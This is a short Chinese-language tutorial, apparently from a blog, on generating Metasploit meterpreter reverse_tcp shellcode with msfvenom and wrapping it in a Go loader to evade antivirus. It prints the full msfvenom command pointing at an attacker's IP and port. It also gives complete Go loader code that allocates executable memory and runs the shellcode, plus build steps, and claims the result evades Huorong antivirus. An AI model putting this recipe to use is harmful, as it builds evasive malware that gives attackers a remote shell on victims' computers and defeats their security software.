使用msf生成shellcode并用Go免杀?

2023-05-10,,

msf生成的裸马现在已经不行了,加壳也只能加冷门壳了,VMP,Shielden,upx不是失效就是效果很差,所以当下,得用shellcode来免杀了

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.bin

在kali的控制台里输入以上命令,即在当前目录下生成一个bin文件,这个bin文件就是我们的shellcode了。

将1.bin拖到windows里,用winhex打开

点击编辑-复制所有-十六进制数值,然后新建一个1.go,在里面输入:

package main
import (
"encoding/hex"
"syscall"
"unsafe"
)
func main(){
sa := "复制结果粘贴进来"
shellcode, _ := hex.DecodeString(sa)
VirtualAlloc := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc")
copyMem := syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory")
addr, _, _ := VirtualAlloc.Call(0,uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
copyMem.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
syscall.Syscall(addr, 0, 0, 0, 0)
}

将“复制结果粘贴进来”替换成刚刚复制的十六进制数值,然后打开控制台,输入set GOARCH=386 //因为shellcode是32位的

回车,然后在输入go build 1.go

上述只是一个简单的shellcode加载器,能达到免杀火绒的效果,其他杀软并未测试,大佬勿喷

使用msf生成shellcode并用Go免杀?的相关教程结束。

《使用msf生成shellcode并用Go免杀?.doc》

下载本文的Word格式文档,以方便收藏与打印。